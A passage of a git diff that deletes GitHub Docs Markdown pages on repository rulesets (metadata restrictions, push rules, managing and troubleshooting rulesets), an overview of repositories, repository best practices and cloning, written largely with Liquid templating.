ifversion repo-rules-enterprise %} - -## Metadata restrictions - -{% data reusables.repositories.rulesets-metadata-restrictions-notes %} - -Organizations on a {% data variables.product.prodname_enterprise %} plan can access additional rules to control how commit metadata must be formatted. You can use literal strings or regular expression syntax to define a pattern that the commit metadata must conform to. For example, you can require that commit messages contain a {% data variables.product.company_short %} issue number, or that the committer or author has an email address ending in `@octoorg.com`. You can also control the format of new branch names and tag names. For a selection of useful regular expressions for commit metadata, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#using-regular-expressions-for-commit-metadata). - -If a contributor tries to update a branch or tag with a commit that doesn't meet your requirements, the contributor will see an error telling them what was wrong with their commit. This error can appear both in the command line, when the user pushes, and on {% data variables.product.prodname_dotcom_the_website %}, when the user tries to make a commit or merge a pull request. Commits are immutable in Git: once a contributor has created a commit, they cannot edit the commit's metadata, so they may need to perform a rebase to rewrite their commit history with new commits before they can successfully contribute their work to the repository. - -Metadata restrictions are useful for enforcing consistency between the commits in a branch's history. This can be useful for enforcing adherence to best practices, such as the [Conventional Commits](https://www.conventionalcommits.org/) specification, or for integrating with tooling that relies on commit metadata. For example, it is easier to run scripts based on the contents of a commit message if each message conforms to a predictable format. {% ifversion ghes %}You may want to use metadata restrictions as an alternative for setting up custom pre-receive hook scripts. For more information, see [AUTOTITLE] -(/admin/policies/enforcing-policy-with-pre-receive-hooks/about-pre-receive-hooks).{% endif %} - -### Important considerations for metadata restrictions - -Metadata restrictions block "ref updates." If a contributor pushes work that includes a commit that doesn't meet the requirements, the push is not rejected, but the branch or tag they are targeting is not updated. Technically, the commits still enter your repository: the commits will be "retrievable" (you can navigate to them in your repository), but not "reachable" (they are not connected to the history of a branch or tag). If the contributor's push also includes work on other branches or tags, with commits that meet the requirements of those branches or tags, then those references will be successfully updated. - -Metadata restrictions can increase friction for people contributing to a repository. Generally, if you impose metadata restrictions, you should do so on a limited set of branches to avoid impacting contributors' daily work. For example, instead of requiring consistent commit messages on any topic branch that a contributor might work on, you should require consistent commit messages on `main` only, then require pull requests into `main`. - -If you use squash merges, you should be aware that metadata restrictions are evaluated before the merge, so all commits on the pull request must meet the requirements. For metadata restrictions that apply to committer emails, the pattern must also include `noreply@github.com` for squash merges to satisfy the restriction. - -When you add metadata restrictions to an existing branch or tag, the rules are enforced for new commits pushed to the branch or tag from that point forward, but they are not enforced against the existing history of the branch or tag. - -{% endif %} - -{% ifversion push-rulesets %} - -## Restrict file paths - -Prevent commits that include changes in specified file paths from being pushed to the repository. {% ifversion available-rules-limit %}Limit is 200 entries and up to 200 characters in each entry.{% endif %} - -{% data reusables.repositories.rulesets-push-rules-path-example %} - -## Restrict file path length - -Prevent commits that include file paths that exceed a specified character limit from being pushed to the repository. - -## Restrict file extensions - -Prevent commits that include files with specified file extensions from being pushed to the repository. {% ifversion available-rules-limit %}Limit is 200 entries and up to 200 characters in each entry.{% endif %} - -## Restrict file size - -Prevent commits that exceed a specified file size limit from being pushed to the repository. - -{% endif %} diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository.md deleted file mode 100644 index a7b4566e4d9b..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Creating rulesets for a repository -intro: You can add rulesets to a repository to control how people can interact with specific branches and tags. -product: '{% data reusables.gated-features.repo-rules %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -permissions: '{% data reusables.repositories.repo-rules-permissions %}' -topics: - - Repositories -shortTitle: Create a ruleset ---- - -## Introduction - -You can create rulesets to control how users can interact with selected branches and tags in a repository. You can control things like who can push commits to a certain branch and how the commits must be formatted, or who can delete or rename a tag. You can also prevent people from renaming repositories. - -{% ifversion push-rulesets %} - -{% data reusables.repositories.rulesets-push-rulesets-intro %} - -{% endif %} - -When you create a ruleset, you can allow certain users to bypass the rules in the ruleset. - -For more information on rulesets, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets). - -{% ifversion repo-rules-enterprise %} -You can also create rulesets for all repositories in an organization. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization).{% endif %} - -{% ifversion repo-rules-management %} - -## Importing prebuilt rulesets - -To import one of the prebuilt rulesets by {% data variables.product.prodname_dotcom %}, see [`github/ruleset-recipes`](https://github.com/github/ruleset-recipes). - -{% data reusables.repositories.import-a-ruleset-conceptual %} For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization#using-ruleset-history).{% endif %} - -## Using `fnmatch` syntax - -{% data reusables.repositories.rulesets-fnmatch %} - -### Unsupported `fnmatch` syntax - -{% data reusables.repositories.rulesets-unsupported-fnmatch-syntax %} - -{% ifversion repo-rules-enterprise %} - -## Using regular expressions for commit metadata - -{% data reusables.repositories.rulesets-commit-regex %} - -{% endif %} - -## Using ruleset enforcement statuses - -{% data reusables.repositories.rulesets-about-enforcement-statuses %} - -## Creating a branch or tag ruleset - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repo-rulesets-settings %} -{% data reusables.repositories.create-ruleset-step %} -{% data reusables.repositories.rulesets-general-step %} - -### Granting bypass permissions for your branch or tag ruleset - -{% data reusables.repositories.rulesets-bypass-step %} -{% data reusables.repositories.rulesets-branch-tag-bypass-optional-step %} - -### Choosing which branches or tags to target - -{% data reusables.repositories.rulesets-target-branches %} - -### Selecting branch or tag protections - -{% data reusables.repositories.rulesets-protections-step %} - -### Adding metadata restrictions - -{% data reusables.repositories.rulesets-metadata-step %} - -### Finalizing your branch or tag ruleset and next steps - -{% data reusables.repositories.rulesets-create-and-insights-step %} - -{% ifversion push-rulesets %} - -## Creating a push ruleset - -{% data reusables.repositories.push-rules-fork-network-note %} - -You can create a push ruleset for private or internal repositories. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repo-rulesets-settings %} -{% data reusables.repositories.create-push-ruleset-step %} -{% data reusables.repositories.rulesets-general-step %} - -### Granting bypass permissions for your push ruleset - ->[!NOTE] Bypass permissions for push rulesets in this repository will be inherited by the entire fork network for this repository. {% data reusables.repositories.rulesets-push-rulesets-bypass-permissions %} - -{% data reusables.repositories.rulesets-bypass-step %} - -### Selecting push protections - -{% data reusables.repositories.rulesets-push-rules-step %} - -### Finalizing your push ruleset and next steps - -{% data reusables.repositories.rulesets-create-and-insights-step %} - -{% endif %} diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/index.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/index.md deleted file mode 100644 index 2fe369127983..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Managing rulesets for a repository -intro: 'Rulesets help you to control how people can interact with branches and tags in a repository.' -product: '{% data reusables.gated-features.repo-rules %}' -versions: - feature: repo-rules -topics: - - Repositories -children: - - /about-rulesets - - /creating-rulesets-for-a-repository - - /managing-rulesets-for-a-repository - - /available-rules-for-rulesets - - /troubleshooting-rules -shortTitle: Manage rulesets ---- diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/managing-rulesets-for-a-repository.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/managing-rulesets-for-a-repository.md deleted file mode 100644 index 01fb2c13f283..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/managing-rulesets-for-a-repository.md +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Managing rulesets for a repository -intro: 'You can edit, monitor, and delete existing rulesets in a repository to alter how people can interact with specific branches and tags.' -product: '{% data reusables.gated-features.repo-rules %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -permissions: '{% data reusables.repositories.repo-rules-permissions %}' -topics: - - Repositories -shortTitle: Manage a ruleset ---- - -After creating a ruleset, you can still make changes to it. For example, you can add rules to better protect your branches or tags, or you can {% ifversion repo-rules-enterprise %}switch your ruleset from "Evaluate" mode to "Active" after testing its effects on the contributor experience for your repository{% else %}temporarily disable a ruleset to troubleshoot any unintended effects on the contributor experience for your repository{% endif %}. - -You can use the REST and GraphQL APIs to manage rulesets. For more information, see [AUTOTITLE](/rest/repos/rules) and [AUTOTITLE](/graphql/reference/mutations#createrepositoryruleset). - -{% ifversion repo-rules-enterprise %} - -> [!TIP] -> If you're the owner of an organization, you can create rulesets at the organization level. You can apply these rulesets to specific repositories in your organization, and to specific branches in those repositories. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization). - -{% endif %} - -## Viewing rulesets for a repository - -On the "Rulesets" page, anyone with read access to the repository can view the active rulesets targeting a certain {% ifversion push-rulesets %}branch, tag, or push restriction.{% else %}branch or tag.{% endif %} {% ifversion repo-rules-enterprise %}You will also see rulesets running in "Evaluate" mode, which are not enforced.{% endif %} - -{% ifversion push-rulesets %} - -For push rulesets for forked repositories, the "Rulesets" page will indicate that the ruleset is managed by the source repository where the rule is applied. - -{% endif %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.navigate-to-branches %} -1. To the left of the branch name, click {% octicon "shield-lock" aria-label="view rules" %}. - - > [!TIP] Only branches that have a ruleset have a {% octicon "shield" aria-label="The shield icon" %} icon adjacent to their name. - -1. Optionally, to filter the results click the tabs or use the "Search branches" search bar. -1. Click the name of the ruleset you want to view. - -You can also view active ruselets: - -* By adding the `/rules` slug to the repository's URL. For example, to view the rules of the open source documentation repository at {% data variables.product.github %}, you would go to https://github.com/github/docs/rules. - -* In the merge box if there are rules blocking the merging of a pull request. - -## Editing a ruleset - -{% ifversion repo-rules-enterprise %} - -> [!NOTE] -> If a ruleset was created at the organization level, you cannot edit the ruleset from the repository's settings. If you have permission to edit the ruleset, you can do so in your organization's settings. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-rulesets-for-repositories-in-your-organization#editing-a-ruleset). - -{% endif %} - -{% data reusables.repositories.about-editing-rulesets %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repo-rulesets-settings %} -{% data reusables.repositories.edit-ruleset-steps %} - -## Deleting a ruleset - -{% data reusables.repositories.deleting-ruleset-tip %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repo-rulesets-settings %} -{% data reusables.repositories.delete-ruleset-steps %} - -{% ifversion repo-rules-management %} - -## Using ruleset history - -{% data reusables.repositories.ruleset-beta-note %} - -{% data reusables.repositories.ruleset-history-conceptual %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repo-rulesets-settings %} -{% data reusables.repositories.ruleset-history %} - -### Importing a ruleset - -{% data reusables.repositories.import-a-ruleset-conceptual %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.repo-rulesets-settings %} -{% data reusables.repositories.import-a-ruleset %} - -{% endif %} - -{% ifversion repo-rules-enterprise %} - -## Viewing insights for rulesets - -You can view insights for rulesets to see how rulesets are affecting a repository. {% data reusables.repositories.about-ruleset-insights %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the left sidebar, under "Code and automation," click **Rules**, then click **Insights**. - - ![Screenshot of the sidebar of the "Settings" page for a repository. The "Rules" sub-menu is expanded, and the "Insights" option is outlined in orange.](/assets/images/help/repository/ruleset-insights.png) -1. On the "Rule Insights" page, use the dropdown menus at the top of the page to filter the actions by ruleset, branch, actor, and time period. -{% data reusables.repositories.rulesets-view-rule-runs %} -{%- ifversion repo-rules-merge-queue %} -1. Optionally, review merge queue details for corresponding pull requests in the same merge group. - -{% endif %} - -{% endif %} - -{% ifversion push-rule-delegated-bypass %} - -{% data reusables.repositories.managing-delegated-bypass %} - -{% endif %} diff --git a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/troubleshooting-rules.md b/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/troubleshooting-rules.md deleted file mode 100644 index cd07e6f96de3..000000000000 --- a/content/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/troubleshooting-rules.md +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Troubleshooting rules -intro: Learn how to troubleshoot rulesets when you're contributing to a repository. -product: '{% data reusables.gated-features.repo-rules %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Repositories -shortTitle: Troubleshooting ---- - -## Troubleshooting rulesets - -If you cannot perform an action in a repository and want to know why, you can view the active rulesets targeting the branch or tag you're working with. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/managing-rulesets-for-a-repository#viewing-rulesets-for-a-repository). - -Depending on which rules are active, you may need to edit your commit history locally before you can push your commits to the remote branch. For example, if a branch requires commits to be signed, you can update your signing settings, then use an interactive rebase on your local branch to rewrite your Git history with signed commits. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#require-signed-commits) and [AUTOTITLE](/get-started/using-git/using-git-rebase-on-the-command-line). - -If a branch or tag is targeted by rules restricting the metadata of commits, your commits may be rejected if part of the commit's metadata does not match a certain pattern. For example, you might need to add an issue number to the start of your commit message, or change the name of a new branch or tag you're trying to push to the repository. If your commits are rejected, you will see a message telling you the pattern the relevant metadata needs to match. As with signed commits, you may need to perform a rebase to squash the commits or rewrite each commit individually. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#metadata-restrictions). - -When utilizing push rulesets, a maximum of 1000 reference updates are allowed per push. If your push exceeds this limit, it will be rejected. For more information see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#creating-a-push-ruleset). - -Additonally, push rulesets apply to the "Create a blob" and "Create or update file contents" endpoints in the REST API. See [AUTOTITLE](/rest/git/blobs?apiVersion=2022-11-28#create-a-blob) and [AUTOTITLE](/rest/repos/contents?apiVersion=2022-11-28#create-or-update-file-contents). - -## Troubleshooting required status checks - -When defining status checks, the name format depends on the type of check: - -* **Workflow**: The name format is ``. -* **Reusable workflow**: The name format is ` / `. -* **Other checks**: The name format is ``. - -Required status checks do not take workflow, matrix, or event trigger types into account. - -{% ifversion repo-rules-enterprise %} - -Status checks are not indexed for rulesets defined above the repository level. You must manually enter the exact check name expected. - -For rulesets in evaluate mode, a status check will run on the targeted branch but will not be required to pass. -{% endif %} - -{% ifversion repo-rules-required-workflows %} - -## Troubleshooting ruleset workflows - -{% data reusables.repositories.rulest-workflows-intro-paragraph %} - -### Ruleset workflows for open pull requests - -If you create a rule while a pull request is open, the required workflow will not run automatically. To trigger the required workflow, push a new commit, update your branch, or close and re-open the pull request. - -### Supported ruleset workflow events - -{% data reusables.repositories.ruleset-workflow-event-triggers %} - -For more information, see [AUTOTITLE](/actions/using-workflows/events-that-trigger-workflows#pull_request). - -Ruleset workflows do not run on events triggered by the `GITHUB_TOKEN`. For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#using-the-github_token-in-a-workflow). - -### Blocking repository creation - -A required workflow can block people from creating a repository, since a workflow can't run against a repository that's being initialized. To get around this, the ruleset either needs to have "Evaluate" as the enforcement status, or someone with bypass permissions needs to create the repository and bypass the branch protection. - -For more information about enforcement statuses and "Evaluate" mode, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#about-using-enforcement-statuses). - -For more information about bypass permissions, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -### Branch targets in a ruleset - -Verify that your ruleset workflow does not target all branches in the repository. It should only target branches where all changes to the branch are performed by pull requests. - -### Supported directory - -Verify that your workflow file exists in the `.github/workflows` directory. If you want to run a ruleset workflow on `pull_request` events in a repository that is not the source repository, you can take any of the following actions: - * Add a conditional to the workflow file such as, `if: {{ github.repository != 'my-org/source-repo' }}`. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idif). - * Disable Actions completely in the source repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository). - * Disable the individual workflow in the source repository. For more information, see [AUTOTITLE](/actions/using-workflows/disabling-and-enabling-a-workflow). - -### Using the `merge_group` trigger - -{% data reusables.actions.merge-group-event-with-required-checks %} - -### Source repository permissions - -Verify that the source repository permissions are set to "Accessible from repositories in the `ORGANIZATION NAME` organization." - -For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-a-private-repository). - -### Source repository privacy settings - -Verify that the ruleset workflow file is in a source repository that has the same or less restrictive privacy settings than the repositories you want to run it in. Specifically, a public workflow can run on any repository in your organization, an internal workflow can run on internal and private repositories, and a private workflow can run on private repositories. For more information, see [AUTOTITLE](/actions/using-workflows/about-workflows). - -### Permissions for creating a new repository - -To create a new repository when a ruleset workflow is configured, ensure that you have bypass permissions for your ruleset. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#granting-bypass-permissions-for-your-ruleset). - -### Rule insights - -{% data variables.product.company_short %} does not log rule insights until a pull request is merged or a merge is attempted. - -### Concurrency - -Verify that your ruleset workflow does not use the `cancel-in-progress` concurrency setting. For more information about concurrency, see [AUTOTITLE](/actions/using-jobs/using-concurrency#using-concurrency-in-different-scenarios). - -{% endif %} diff --git a/content/repositories/creating-and-managing-repositories/about-repositories.md b/content/repositories/creating-and-managing-repositories/about-repositories.md deleted file mode 100644 index 82264a0c5240..000000000000 --- a/content/repositories/creating-and-managing-repositories/about-repositories.md +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: About repositories -intro: A repository contains all of your code, your files, and each file's revision history. You can discuss and manage your work within the repository. -redirect_from: - - /articles/about-repositories - - /github/creating-cloning-and-archiving-repositories/about-repositories - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories - - /github/creating-cloning-and-archiving-repositories/about-repository-visibility - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repository-visibility - - /articles/what-are-the-limits-for-viewing-content-and-diffs-in-my-repository - - /articles/limits-for-viewing-content-and-diffs-in-a-repository - - /github/creating-cloning-and-archiving-repositories/limits-for-viewing-content-and-diffs-in-a-repository - - /github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/limits-for-viewing-content-and-diffs-in-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- - -## About repositories - -A repository is the most basic element of {% data variables.product.prodname_dotcom %}. It's a place where you can store your code, your files, and each file's revision history. Repositories can have multiple collaborators and can be either public{% ifversion ghes or ghec %}, internal,{% endif %} or private. - -To create a new repository, go to [https://github.com/new](https://github.com/new). For instructions, see [AUTOTITLE](/repositories/creating-and-managing-repositories/quickstart-for-repositories). - -## Repository terminology - -Before getting started with repositories, learn these important terms. - -{% rowheaders %} - -Term | Definition | ----- | ---------- | -Branch | A parallel version of your code that is contained within the repository, but does not affect the primary or main branch. -Clone | To download a full copy of a repository's data from {% data variables.location.product_location %}, including all versions of every file and folder. -Fork | A new repository that shares code and visibility settings with the original "upstream" repository. -Merge | To take the changes from one branch and apply them to another. -Pull request | A request to merge changes from one branch into another. -Remote | A repository stored on {% data variables.product.github %}, not on your computer. -Upstream | The branch on an original repository that has been forked or cloned. The corresponding branch on the cloned or forked repository is called the "downstream." - -{% endrowheaders %} - -## About repository ownership - -You can own repositories individually, or you can share ownership of repositories with other people in an organization. - -In either case, access to repositories is managed by permissions. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository) and [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -## About collaboration - -You can use repositories to manage your work and collaborate with others. -* You can use issues to collect user feedback, report software bugs, and organize tasks you'd like to accomplish. For more information, see [AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues).{% ifversion fpt or ghec %} -* {% data reusables.discussions.you-can-use-discussions %}{% endif %} -* You can use pull requests to propose changes to a repository. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests). -* You can use {% data variables.product.prodname_projects_v2 %} to organize and prioritize your issues and pull requests. For more information, see [AUTOTITLE](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). - -{% ifversion fpt or ghec %} -With {% data variables.product.prodname_free_team %} for personal accounts and organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set. To get advanced tooling for private repositories, you can upgrade to {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_ghe_cloud %}. {% data reusables.gated-features.more-info %} -{% else %} -Each person and organization can own unlimited repositories and invite an unlimited number of collaborators to all repositories. -{% endif %} - -## About repository visibility - -You can restrict who has access to a repository by choosing a repository's visibility: {% ifversion ghes or ghec %}public, internal, or private{% else %}public or private{% endif %}. - -When you create a repository, you can choose to make the repository public or private.{% ifversion ghec or ghes %} If you're creating the repository in an organization{% ifversion ghec %} that is owned by an enterprise account{% endif %}, you can also choose to make the repository internal.{% endif %}{% ifversion fpt %} Repositories in organizations that use {% data variables.product.prodname_ghe_cloud %} and are owned by an enterprise account can also be created with internal visibility. For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories).{% endif %} - -{%- ifversion fpt or ghec %} -* {% ifversion ghec %}If your account is not a {% data variables.enterprise.prodname_managed_user %}, you can create public repositories. {% endif %}Public repositories are accessible to everyone on the internet. -* Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. -{%- elsif ghes %} -* If {% data variables.location.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. Otherwise, public repositories are available to everyone using {% data variables.location.product_location %}, including outside collaborators. -* Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. -{%- endif %} -{%- ifversion ghec or ghes %} -* Internal repositories are accessible to all enterprise members. For more information, see [About internal repositories](#about-internal-repositories). -{%- endif %} - -{% ifversion fpt or ghec %} - -### Security considerations for repository visibility - -Public repositories expose your codebase to everyone, increasing the risk that attackers might exploit vulnerabilities or access sensitive information. You can mitigate these risks by enabling {% data variables.product.github %} security features such as {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_secret_scanning %}, push protection, and {% data variables.product.prodname_code_scanning %} for the repository. Additionally, you should add a security policy (a `SECURITY.md` file) to your repository, that outlines how vulnerabilities should be reported, to ensure that potential threats are addressed efficiently. - -Although private repositories restrict access to authorized users, it's still essential to implement strong access controls, multi-factor authentication, and regular audits to mitigate risks. - -For more information, see [AUTOTITLE](/code-security/getting-started/quickstart-for-securing-your-repository). - -{% endif %} - -Organization owners always have access to every repository created in an organization. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -People with admin permissions for a repository can change an existing repository's visibility. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility). - -{% ifversion ghes or ghec %} - -## About internal repositories - -{% data reusables.repositories.about-internal-repos %} For more information on innersource, see {% data variables.product.prodname_dotcom %}'s whitepaper [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/). - -{% ifversion ghec %} - -> [!NOTE] -> You can only create internal repositories if you use {% data variables.product.prodname_ghe_cloud %} with an enterprise account. An enterprise account is a separate type of account that allows a central point of management for multiple organizations. For more information, see [AUTOTITLE](/get-started/learning-about-github/types-of-github-accounts). - -{% endif %} - -All enterprise members have read permissions to the internal repository, but internal repositories are not visible to people {% ifversion fpt or ghec %}outside of the enterprise{% else %}who are not members of any organization{% endif %}, including outside collaborators on organization repositories. For more information, see [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise#enterprise-members) and [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -{% ifversion ghes %} - -> [!NOTE] -> A user must be part of an organization to be an enterprise member and have access to internal repositories. If a user on {% data variables.location.product_location %} is not a member of any organization, that user will not have access to internal repositories. - -{% endif %} - -{% data reusables.repositories.internal-repo-default %} - -By default, enterprise members can fork an internal repository into any organization where the user can create repositories. Organization owners can also allow users to create a fork owned by a user account, and can manage the forking policy for an organization. Enterprise owners can manage the forking policy for some or all organizations within an enterprise. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization) and [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-forking-private-or-internal-repositories). - -{% endif %} - -## Next steps - -Here are some helpful resources for taking your next steps with repositories. - -* [AUTOTITLE](/repositories/creating-and-managing-repositories/best-practices-for-repositories): Learn how to use repositories most effectively. -* [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository): Create a new repository. -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository): Learn how to create and delete branches within your repository. -* [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request): Create a pull request to propose and collaborate on changes to a repository. diff --git a/content/repositories/creating-and-managing-repositories/best-practices-for-repositories.md b/content/repositories/creating-and-managing-repositories/best-practices-for-repositories.md deleted file mode 100644 index 74fbdf44989a..000000000000 --- a/content/repositories/creating-and-managing-repositories/best-practices-for-repositories.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Best practices for repositories -shortTitle: Best practices -intro: Learn how to use repositories effectively and securely. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- - -## Create a README file - -To make it easier for people to understand and navigate your work, we recommend that you create a README file for every repository. - -{% data reusables.repositories.about-READMEs %} For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes). - -## Secure your repository - -You should secure your repository using {% data variables.product.github %}'s available security features to protect your code from vulnerabilities, unauthorized access, and other potential security threats. At a minimum, you should enable the following features{% ifversion fpt or ghec %}, which are available for **free for public repositories**{% endif %}: - -* **{% data variables.product.prodname_dependabot_alerts %}** notify you of security vulnerabilities in your project's dependency network, so that you can update the affected dependency to a more secure version. -* **{% data variables.product.prodname_secret_scanning_caps %}** scans your repository for secrets (such as API keys and tokens) and alerts you if a secret is found, so that you can remove the secret from your repository. -* **Push protection** prevents you (and your collaborators) from introducing secrets to the repository in the first place, by blocking pushes containing supported secrets. -* **{% data variables.product.prodname_code_scanning_caps %}** identifies vulnerabilities and errors in your repository's code, so that you can fix these issues early and prevent a vulnerability or error being exploited by malicious actors. - -Additionally, you might also consider: - -* Adding a `SECURITY.md` file to your repository. The `SECURITY.md` file provides instructions to collaborators on how to report security vulnerabilities found in your project and encourages responsible disclosure.{% ifversion fpt or ghec %} -* Enabling "Private vulnerability reporting" for the repository, which lets collaborators and security researchers privately disclose vulnerabilities found in your repository to you.{% endif %} - -For more information, see [AUTOTITLE](/code-security/getting-started/quickstart-for-securing-your-repository). - -## Favor branching over forking - -To streamline collaboration, we recommend that regular collaborators work from a single repository, creating pull requests between branches instead of between repositories. Forking is best suited for accepting contributions from people that are unaffiliated with a project, such as open-source contributors. - -To maintain quality of important branches, such as `main`, while using a branching workflow, you can use protected branches with required status checks and pull request reviews. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches). - -## Use {% data variables.large_files.product_name_long %} - -To optimize performance, {% data variables.product.prodname_dotcom %} limits the sizes of files allowed in repositories. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-large-files-on-github). - -To track large files in a Git repository, we recommend using {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}). For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage). diff --git a/content/repositories/creating-and-managing-repositories/cloning-a-repository.md b/content/repositories/creating-and-managing-repositories/cloning-a-repository.md deleted file mode 100644 index 71d93d13a725..000000000000 --- a/content/repositories/creating-and-managing-repositories/cloning-a-repository.md +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: Cloning a repository -intro: 'When you create a repository on {% data variables.product.prodname_dotcom %}, it exists as a remote repository. You can clone your repository to create a local copy on your computer and sync between the two locations.' -redirect_from: - - /articles/cloning-a-repository - - /articles/cloning-a-repository-from-github - - /github/creating-cloning-and-archiving-repositories/cloning-a-repository - - /github/creating-cloning-and-archiving-repositories/cloning-a-repository-from-github/cloning-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories ---- -## About cloning a repository - -{% webui %} - -You can clone a repository from {% data variables.location.product_location %} to your local computer{% ifversion codespaces %}, or to a codespace,{% endif %} to make it easier to fix merge conflicts, add or remove files, and push larger commits. When you clone a repository, you copy the repository from {% data 